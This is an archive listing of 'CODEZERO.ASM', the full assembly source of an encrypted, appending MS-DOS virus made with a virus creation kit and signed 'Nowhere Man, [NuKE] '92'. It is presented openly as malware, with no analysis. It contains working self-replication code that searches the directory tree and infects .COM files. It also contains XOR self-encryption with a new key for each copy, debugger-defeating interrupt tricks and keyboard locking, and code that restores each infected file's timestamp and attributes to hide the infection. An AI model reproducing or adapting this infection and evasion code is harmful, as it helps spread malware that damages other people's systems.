home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / c / codezero.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  11.0 KB  |  381 lines

  1. ; CODEZERO.ASM -- Code Zero Virus
  2.  
  3. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  4.  
  5. ; Written by Nowhere Man
  6.  
  7.  
  8.  
  9. virus_type    equ    0            ; Appending Virus
  10.  
  11. is_encrypted    equ    1            ; We're encrypted
  12.  
  13. tsr_virus    equ    0            ; We're not TSR
  14.  
  15.  
  16.  
  17. code        segment byte public
  18.  
  19.         assume    cs:code,ds:code,es:code,ss:code
  20.  
  21.         org    0100h
  22.  
  23.  
  24.  
  25. main        proc    near
  26.  
  27.         db    0E9h,00h,00h        ; Near jump (for compatibility)
  28.  
  29. start:        call    find_offset        ; Like a PUSH IP
  30.  
  31. find_offset:    pop    bp            ; BP holds old IP
  32.  
  33.         sub    bp,offset find_offset    ; Adjust for length of host
  34.  
  35.  
  36.  
  37.         call    encrypt_decrypt        ; Decrypt the virus
  38.  
  39.  
  40.  
  41. start_of_code    label    near
  42.  
  43.  
  44.  
  45.         lea    si,[bp + buffer]    ; SI points to original start
  46.  
  47.         mov    di,0100h        ; Push 0100h on to stack for
  48.  
  49.         push    di            ; return to main program
  50.  
  51.         movsw                ; Copy the first two bytes
  52.  
  53.         movsb                ; Copy the third byte
  54.  
  55.  
  56.  
  57.         mov    di,bp            ; DI points to start of virus
  58.  
  59.  
  60.  
  61.         mov    bp,sp            ; BP points to stack
  62.  
  63.         sub    sp,128            ; Allocate 128 bytes on stack
  64.  
  65.  
  66.  
  67.         mov    ah,02Fh            ; DOS get DTA function
  68.  
  69.         int    021h
  70.  
  71.         push    bx            ; Save old DTA address on stack
  72.  
  73.  
  74.  
  75.         mov    ah,01Ah            ; DOS set DTA function
  76.  
  77.         lea    dx,[bp - 128]        ; DX points to buffer on stack
  78.  
  79.         int    021h
  80.  
  81.  
  82.  
  83. stop_tracing:    mov    cx,09EBh
  84.  
  85.         mov    ax,0FE05h        ; Acutal move, plus a HaLT
  86.  
  87.         jmp    $-2
  88.  
  89.         add    ah,03Bh            ; AH now equals 025h
  90.  
  91.         jmp    $-10            ; Execute the HaLT
  92.  
  93.         lea    bx,[di + null_vector]    ; BX points to new routine
  94.  
  95.         push    cs            ; Transfer CS into ES
  96.  
  97.         pop    es            ; using a PUSH/POP
  98.  
  99.         int    021h
  100.  
  101.         mov    al,1            ; Disable interrupt 1, too
  102.  
  103.         int    021h
  104.  
  105.         jmp    short skip_null        ; Hop over the loop
  106.  
  107. null_vector:    jmp    $            ; An infinite loop
  108.  
  109. skip_null:    mov    byte ptr [di + lock_keys + 1],130  ; Prefetch unchanged
  110.  
  111. lock_keys:    mov    al,128            ; Change here screws DEBUG
  112.  
  113.         out    021h,al            ; If tracing then lock keyboard
  114.  
  115.  
  116.  
  117.         call    search_files        ; Find and infect a file
  118.  
  119.  
  120.  
  121.         call    infected_all
  122.  
  123.         or    ax,ax            ; Did the function return zero?
  124.  
  125.         jne    skip00            ; If not equal, skip effect
  126.  
  127.         jmp    short strt00        ; Success -- skip jump
  128.  
  129. skip00:        jmp    end00            ; Skip the routine
  130.  
  131. strt00:        lea    si,[di + data00]    ; SI points to data
  132.  
  133.         mov    ah,0Eh            ; BIOS display char. function
  134.  
  135. display_loop:   lodsb                ; Load the next char. into AL
  136.  
  137.         or    al,al            ; Is the character a null?
  138.  
  139.         je    disp_strnend        ; If it is, exit
  140.  
  141.         int    010h            ; BIOS video interrupt
  142.  
  143.         jmp    short display_loop    ; Do the next character
  144.  
  145. disp_strnend:
  146.  
  147.  
  148.  
  149. end00:
  150.  
  151. com_end:    pop    dx            ; DX holds original DTA address
  152.  
  153.         mov    ah,01Ah            ; DOS set DTA function
  154.  
  155.         int    021h
  156.  
  157.  
  158.  
  159.         mov    sp,bp            ; Deallocate local buffer
  160.  
  161.  
  162.  
  163.         xor    ax,ax            ;
  164.  
  165.         mov    bx,ax            ;
  166.  
  167.         mov    cx,ax            ;
  168.  
  169.         mov    dx,ax            ; Empty out the registers
  170.  
  171.         mov    si,ax            ;
  172.  
  173.         mov    di,ax            ;
  174.  
  175.         mov    bp,ax            ;
  176.  
  177.  
  178.  
  179.         ret                ; Return to original program
  180.  
  181. main        endp
  182.  
  183.  
  184.  
  185.  
  186.  
  187.         db    064h,06Dh,056h,0D5h,05Dh
  188.  
  189.  
  190.  
  191. search_files    proc    near
  192.  
  193.         push    bp            ; Save BP
  194.  
  195.         mov    bp,sp            ; BP points to local buffer
  196.  
  197.         sub    sp,64            ; Allocate 64 bytes on stack
  198.  
  199.  
  200.  
  201.         mov    ah,047h            ; DOS get current dir function
  202.  
  203.         xor    dl,dl            ; DL holds drive # (current)
  204.  
  205.         lea    si,[bp - 64]        ; SI points to 64-byte buffer
  206.  
  207.         int    021h
  208.  
  209.  
  210.  
  211.         mov    ah,03Bh            ; DOS change directory function
  212.  
  213.         lea    dx,[di + root]        ; DX points to root directory
  214.  
  215.         int    021h
  216.  
  217.  
  218.  
  219.         call    traverse        ; Start the traversal
  220.  
  221.  
  222.  
  223.         mov    ah,03Bh            ; DOS change directory function
  224.  
  225.         lea    dx,[bp - 64]        ; DX points to old directory
  226.  
  227.         int    021h
  228.  
  229.  
  230.  
  231.         mov    sp,bp            ; Restore old stack pointer
  232.  
  233.         pop    bp            ; Restore BP
  234.  
  235.         ret                ; Return to caller
  236.  
  237.  
  238.  
  239. root        db    "\",0            ; Root directory
  240.  
  241. search_files    endp
  242.  
  243.  
  244.  
  245. traverse    proc    near
  246.  
  247.         push    bp            ; Save BP
  248.  
  249.  
  250.  
  251.         mov    ah,02Fh            ; DOS get DTA function
  252.  
  253.         int    021h
  254.  
  255.         push    bx            ; Save old DTA address
  256.  
  257.  
  258.  
  259.         mov    bp,sp            ; BP points to local buffer
  260.  
  261.         sub    sp,128            ; Allocate 128 bytes on stack
  262.  
  263.  
  264.  
  265.         mov    ah,01Ah            ; DOS set DTA function
  266.  
  267.         lea    dx,[bp - 128]        ; DX points to buffer
  268.  
  269.         int    021h
  270.  
  271.  
  272.  
  273.         mov    ah,04Eh            ; DOS find first function
  274.  
  275.         mov    cx,00010000b        ; CX holds search attributes
  276.  
  277.         lea    dx,[di + all_files]    ; DX points to "*.*"
  278.  
  279.         int    021h
  280.  
  281.         jc    leave_traverse        ; Leave if no files present
  282.  
  283.  
  284.  
  285. check_dir:    cmp    byte ptr [bp - 107],16    ; Is the file a directory?
  286.  
  287.         jne    another_dir        ; If not, try again
  288.  
  289.         cmp    byte ptr [bp - 98],'.'    ; Did we get a "." or ".."?
  290.  
  291.         je    another_dir        ;If so, keep going
  292.  
  293.  
  294.  
  295.         mov    ah,03Bh            ; DOS change directory function
  296.  
  297.         lea    dx,[bp - 98]        ; DX points to new directory
  298.  
  299.         int    021h
  300.  
  301.  
  302.  
  303.         call    traverse        ; Recursively call ourself
  304.  
  305.  
  306.  
  307.         pushf                ; Save the flags
  308.  
  309.         mov    ah,03Bh            ; DOS change directory function
  310.  
  311.         lea    dx,[di + up_dir]    ; DX points to parent directory
  312.  
  313.         int    021h
  314.  
  315.         popf                ; Restore the flags
  316.  
  317.  
  318.  
  319.         jnc    done_searching        ; If we infected then exit
  320.  
  321.  
  322.  
  323. another_dir:    mov    ah,04Fh            ; DOS find next function
  324.  
  325.         int    021h
  326.  
  327.         jnc    check_dir        ; If found check the file
  328.  
  329.  
  330.  
  331. leave_traverse:
  332.  
  333.         lea    dx,[di + com_mask]    ; DX points to "*.COM"
  334.  
  335.         call    find_files        ; Try to infect a file
  336.  
  337. done_searching:    mov    sp,bp            ; Restore old stack frame
  338.  
  339.         mov    ah,01Ah            ; DOS set DTA function
  340.  
  341.         pop    dx            ; Retrieve old DTA address
  342.  
  343.         int    021h
  344.  
  345.  
  346.  
  347.         pop    bp            ; Restore BP
  348.  
  349.         ret                ; Return to caller
  350.  
  351.  
  352.  
  353. up_dir        db    "..",0            ; Parent directory name
  354.  
  355. all_files    db    "*.*",0            ; Directories to search for
  356.  
  357. com_mask    db    "*.COM",0        ; Mask for all .COM files
  358.  
  359. traverse    endp
  360.  
  361.  
  362.  
  363.         db    0D9h,013h,047h,056h,001h
  364.  
  365.  
  366.  
  367.  
  368.  
  369. find_files    proc    near
  370.  
  371.         push    bp            ; Save BP
  372.  
  373.  
  374.  
  375.         mov    ah,02Fh            ; DOS get DTA function
  376.  
  377.         int    021h
  378.  
  379.         push    bx            ; Save old DTA address
  380.  
  381.  
  382.  
  383.         mov    bp,sp            ; BP points to local buffer
  384.  
  385.         sub    sp,128            ; Allocate 128 bytes on stack
  386.  
  387.  
  388.  
  389.         push    dx            ; Save file mask
  390.  
  391.         mov    ah,01Ah            ; DOS set DTA function
  392.  
  393.         lea    dx,[bp - 128]        ; DX points to buffer
  394.  
  395.         int    021h
  396.  
  397.  
  398.  
  399.         mov    ah,04Eh            ; DOS find first file function
  400.  
  401.         mov    cx,00100111b        ; CX holds all file attributes
  402.  
  403.         pop    dx            ; Restore file mask
  404.  
  405. find_a_file:    int    021h
  406.  
  407.         jc    done_finding        ; Exit if no files found
  408.  
  409.         call    infect_file        ; Infect the file!
  410.  
  411.         jnc    done_finding        ; Exit if no error
  412.  
  413.         mov    ah,04Fh            ; DOS find next file function
  414.  
  415.         jmp    short find_a_file    ; Try finding another file
  416.  
  417.  
  418.  
  419. done_finding:    mov    sp,bp            ; Restore old stack frame
  420.  
  421.         mov    ah,01Ah            ; DOS set DTA function
  422.  
  423.         pop    dx            ; Retrieve old DTA address
  424.  
  425.         int    021h
  426.  
  427.  
  428.  
  429.         pop    bp            ; Restore BP
  430.  
  431.         ret                ; Return to caller
  432.  
  433. find_files    endp
  434.  
  435.  
  436.  
  437.         db    005h,083h,072h,0C1h,006h
  438.  
  439.  
  440.  
  441. infect_file    proc    near
  442.  
  443.         mov    ah,02Fh            ; DOS get DTA address function
  444.  
  445.         int    021h
  446.  
  447.         mov    si,bx            ; SI points to the DTA
  448.  
  449.  
  450.  
  451.         mov    byte ptr [di + set_carry],0  ; Assume we'll fail
  452.  
  453.  
  454.  
  455.         cmp    word ptr [si + 01Ah],(65279 - (finish - start))
  456.  
  457.         jbe    size_ok            ; If it's small enough continue
  458.  
  459.         jmp    infection_done        ; Otherwise exit
  460.  
  461.  
  462.  
  463. size_ok:    mov    ax,03D00h        ; DOS open file function, r/o
  464.  
  465.         lea    dx,[si + 01Eh]        ; DX points to file name
  466.  
  467.         int    021h
  468.  
  469.         xchg    bx,ax            ; BX holds file handle
  470.  
  471.  
  472.  
  473.         mov    ah,03Fh            ; DOS read from file function
  474.  
  475.         mov    cx,3            ; CX holds bytes to read (3)
  476.  
  477.         lea    dx,[di + buffer]    ; DX points to buffer
  478.  
  479.         int    021h
  480.  
  481.  
  482.  
  483.         mov    ax,04202h        ; DOS file seek function, EOF
  484.  
  485.         cwd                ; Zero DX _ Zero bytes from end
  486.  
  487.         mov    cx,dx            ; Zero CX /
  488.  
  489.         int    021h
  490.  
  491.  
  492.  
  493.         xchg    dx,ax            ; Faster than a PUSH AX
  494.  
  495.         mov    ah,03Eh            ; DOS close file function
  496.  
  497.         int    021h
  498.  
  499.         xchg    dx,ax            ; Faster than a POP AX
  500.  
  501.  
  502.  
  503.         sub    ax,finish - start + 3    ; Adjust AX for a valid jump
  504.  
  505.         cmp    word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  506.  
  507.         je    infection_done        ; If equal then exit
  508.  
  509.         mov    byte ptr [di + set_carry],1  ; Success -- the file is OK
  510.  
  511.         add    ax,finish - start    ; Re-adjust to make the jump
  512.  
  513.         mov    word ptr [di + new_jump + 1],ax  ; Construct jump
  514.  
  515.  
  516.  
  517.         mov    ax,04301h        ; DOS set file attrib. function
  518.  
  519.         xor    cx,cx            ; Clear all attributes
  520.  
  521.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  522.  
  523.         int    021h
  524.  
  525.  
  526.  
  527.         mov    ax,03D02h        ; DOS open file function, r/w
  528.  
  529.         int    021h
  530.  
  531.         xchg    bx,ax            ; BX holds file handle
  532.  
  533.  
  534.  
  535.         mov    ah,040h            ; DOS write to file function
  536.  
  537.         mov    cx,3            ; CX holds bytes to write (3)
  538.  
  539.         lea    dx,[di + new_jump]    ; DX points to the jump we made
  540.  
  541.         int    021h
  542.  
  543.  
  544.  
  545.         mov    ax,04202h        ; DOS file seek function, EOF
  546.  
  547.         cwd                ; Zero DX _ Zero bytes from end
  548.  
  549.         mov    cx,dx            ; Zero CX /
  550.  
  551.         int    021h
  552.  
  553.  
  554.  
  555.         push    si            ; Save SI through call
  556.  
  557.         call    encrypt_code        ; Write an encrypted copy
  558.  
  559.         pop    si            ; Restore SI
  560.  
  561.  
  562.  
  563.         mov    ax,05701h        ; DOS set file time function
  564.  
  565.         mov    cx,[si + 016h]        ; CX holds old file time
  566.  
  567.         mov    dx,[si + 018h]        ; DX holds old file date
  568.  
  569.         int    021h
  570.  
  571.  
  572.  
  573.         mov    ah,03Eh            ; DOS close file function
  574.  
  575.         int    021h
  576.  
  577.  
  578.  
  579.         mov    ax,04301h        ; DOS set file attrib. function
  580.  
  581.         xor    ch,ch            ; Clear CH for file attribute
  582.  
  583.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  584.  
  585.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  586.  
  587.         int    021h
  588.  
  589.  
  590.  
  591. infection_done:    cmp    byte ptr [di + set_carry],1  ; Set carry flag if failed
  592.  
  593.         ret                ; Return to caller
  594.  
  595.  
  596.  
  597. set_carry    db    ?            ; Set-carry-on-exit flag
  598.  
  599. buffer        db    090h,0CDh,020h        ; Buffer to hold old three bytes
  600.  
  601. new_jump    db    0E9h,?,?        ; New jump to virus
  602.  
  603. infect_file    endp
  604.  
  605.  
  606.  
  607.  
  608.  
  609.         db    06Ah,025h,0C8h,0A7h,094h
  610.  
  611.  
  612.  
  613. infected_all    proc    near
  614.  
  615. if virus_type    eq    0
  616.  
  617.         mov    al,byte ptr [di + set_carry]
  618.  
  619. else
  620.  
  621.         mov    al,byte ptr [set_carry]    ; AX holds success value
  622.  
  623. endif
  624.  
  625.         cbw                ; Sign-extend AL into AX
  626.  
  627.         ret                ; Return to caller
  628.  
  629. infected_all    endp
  630.  
  631.  
  632.  
  633. data00        db      7,7,7,"** CODE ZERO **",13,10,0
  634.  
  635.  
  636.  
  637. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  638.  
  639.  
  640.  
  641.  
  642.  
  643. note        db    "[Code Zero]",0
  644.  
  645.         db    "Nowhere Man, [NuKE] '92",0
  646.  
  647.  
  648.  
  649. encrypt_code    proc    near
  650.  
  651.         push    bp            ; Save BP
  652.  
  653.         mov    bp,di            ; Use BP as pointer to code
  654.  
  655.         lea    si,[bp + encrypt_decrypt]; SI points to cipher routine
  656.  
  657.  
  658.  
  659.         xor    ah,ah            ; BIOS get time function
  660.  
  661.         int    01Ah
  662.  
  663.         mov    word ptr [si + 9],dx    ; Low word of timer is new key
  664.  
  665.  
  666.  
  667.         xor    byte ptr [si + 1],8    ;
  668.  
  669.         xor    byte ptr [si + 8],1    ; Change all SIs to DIs
  670.  
  671.         xor    word ptr [si + 11],0101h; (and vice-versa)
  672.  
  673.  
  674.  
  675.         lea    di,[bp + finish]    ; Copy routine into heap
  676.  
  677.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  678.  
  679.         push    si            ; Save SI for later
  680.  
  681.         push    cx            ; Save CX for later
  682.  
  683.     rep    movsb                ; Copy the bytes
  684.  
  685.  
  686.  
  687.         lea    si,[bp + write_stuff]    ; SI points to write stuff
  688.  
  689.         mov    cx,5            ; CX holds length of write
  690.  
  691.     rep    movsb                ; Copy the bytes
  692.  
  693.  
  694.  
  695.         pop    cx            ; Restore CX
  696.  
  697.         pop    si            ; Restore SI
  698.  
  699.         inc    cx            ; Copy the RET also this time
  700.  
  701.     rep    movsb                ; Copy the routine again
  702.  
  703.  
  704.  
  705.         mov    ah,040h            ; DOS write to file function
  706.  
  707.         lea    dx,[bp + start]        ; DX points to virus
  708.  
  709.  
  710.  
  711.         lea    si,[bp + finish]    ; SI points to routine
  712.  
  713.         call    si            ; Encrypt/write/decrypt
  714.  
  715.  
  716.  
  717.         mov    di,bp            ; DI points to virus again
  718.  
  719.         pop    bp            ; Restore BP
  720.  
  721.         ret                ; Return to caller
  722.  
  723.  
  724.  
  725. write_stuff:    mov    cx,finish - start    ; Length of code
  726.  
  727.         int    021h
  728.  
  729. encrypt_code    endp
  730.  
  731.  
  732.  
  733. end_of_code    label    near
  734.  
  735.  
  736.  
  737. encrypt_decrypt    proc    near
  738.  
  739.         lea    si,[bp + start_of_code] ; SI points to code to decrypt
  740.  
  741.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  742.  
  743. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  744.  
  745.         inc    si            ; Do the next word
  746.  
  747.         inc    si            ;
  748.  
  749.         loop    xor_loop        ; Loop until we're through
  750.  
  751.         ret                ; Return to caller
  752.  
  753. encrypt_decrypt    endp
  754.  
  755. finish        label    near
  756.  
  757.  
  758.  
  759. code        ends
  760.  
  761.         end    main